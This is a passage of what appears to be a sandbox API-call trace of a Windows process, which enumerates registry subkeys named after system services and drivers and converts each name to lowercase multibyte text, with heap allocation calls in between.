[0248.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0248.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.944] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0248.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0248.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.945] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0248.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0248.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.945] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0248.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0248.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.945] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0248.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0248.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.945] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0248.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0248.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.946] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0248.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0248.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.946] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0248.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0248.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.946] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0248.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0248.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.946] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0248.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0248.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.947] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0248.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0248.947] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0248.947] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0248.947] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0248.947] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0248.947] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0248.947] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0248.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0248.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0248.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0248.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0248.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0248.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0248.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0248.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0248.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0248.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0248.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0248.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0248.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0248.949] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0248.949] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0248.949] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0248.949] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0248.949] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0248.949] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0248.949] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0248.949] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0248.949] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0248.949] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0248.949] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0248.949] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0248.949] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0248.950] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0248.950] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0248.950] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0248.950] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0248.950] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0248.950] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0248.950] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0248.950] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0248.950] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0248.950] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0248.950] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0248.950] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0248.950] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0248.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0248.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0248.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0248.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0248.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0248.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0248.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0248.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0248.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0248.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0248.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0248.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0248.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0248.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0248.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0248.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0248.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0248.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0248.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0248.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0248.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0248.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0248.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0248.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0248.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0248.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0248.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0248.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0248.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0248.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0248.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0248.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0248.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0248.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0248.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0248.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0248.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0248.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0248.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0248.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0248.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0248.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0248.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0248.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0248.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0248.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0248.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0248.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0248.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0248.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0248.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0248.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0248.955] RegEnumKeyW (in: hKey=0x154, 